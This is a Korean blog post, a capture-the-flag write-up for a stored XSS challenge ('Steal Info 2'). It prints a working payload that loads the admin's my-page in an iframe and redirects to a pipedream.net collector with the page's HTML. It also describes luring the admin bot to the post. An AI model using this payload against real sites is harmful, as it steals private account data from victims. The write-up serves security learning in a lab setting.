상세 컨텐츠

본문 제목

Segfault CTF - (11주 차) Steal Info 2

컴퓨터/보안 - CTF문제

by 디멘터 2024. 6. 29. 19:05

본문

※ 주의 : 보안 관련 학습은 자유이지만, 학습 내용을 사용한 경우 법적 책임은 행위자에게 있습니다.
(Note: Security-related learning is allowed, but the individual is solely responsible for any legal consequences arising from the use of the acquired knowledge.)


※ CTF - Capture The Flag
※ 문제 푸는 방법이 다양할 수도 있습니다.


SegFault CTF - Steal Info 2

1. 목표 : admin 계정이 마이페이지의 정보란에 flag가 숨겨져있다! 찾아내시오!

2. 실행 

  • XSS 취약점 찾기
    게시판에 들어가보니 전에 작성했던 글들이 있다. 취약점은 steal info 문제와 같았다.
    게시글의 내용에서 스크립트가 실행 된다.

  • 작전 구상
    ①중요정보가 있는 페이지가 마이페이지의 정보란이라고 한다. 게시글 페이지와 다른 페이지이니 iframe을 사용해야 하는 것 같다.
    ②이번에는 같은 페이지를 제시해주지 않았다. body부분 코드를 다 긁어오는 것을 성공하면 한번에 풀 수 있을 것 같다.
    ③나머지는 지금 껏 해왔던 것과 같다.

  • 실행 과정
    • iframe 및 스크립트 삽입하기


      코드내용
      <iframe
      id="attackIframe" src="http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php" style="width:400px;"></iframe>
      <script>
          document.getElementById('attackIframe').addEventListener('load', function() {
              var iframeDocument = this.contentDocument || this.contentWindow.document;
              var data = iframeDocument.body.innerHTML;
              location.href = 'https://enmqaeuyiny5.x.pipedream.net/?data=' + encodeURIComponent(data);
          });
      </script>

      steal info 1번 문제와 다른 점은 두가지 이다.
      var data = iframeDocument.body.innerHTML; // iframe 안의 HTML 코드 전체를 data변수에 저장한다.
      encodeURIComponent(data); // data변수의 내용을 URL에 안전하게 태울 수 있도록 특수문자들을 encoding한다. 현재 요청 값을 GET방식으로 받고 있어서 HTML코드 같이 특수문자가 URL에 들어가는 경우 URL구조가 깨져버리므로 값이 오지 않았다. 그래서 사용하는 것이다. POST방식으로 받는 방법은, 직접하면 가능했는데 봇에게는 안되었다. 방법이 궁금하면 Segfault CTF - (11주 차) Basic Script Prac게시글의 ⒢에 가면 있다. (post검색)

    • 관리자에게 URL로 게시글에 접속하도록 유도
      관리자가 해당 게시글에 접속하였다.
    • 플래그 탈취
      플래그가 나타났다.

관련글 더보기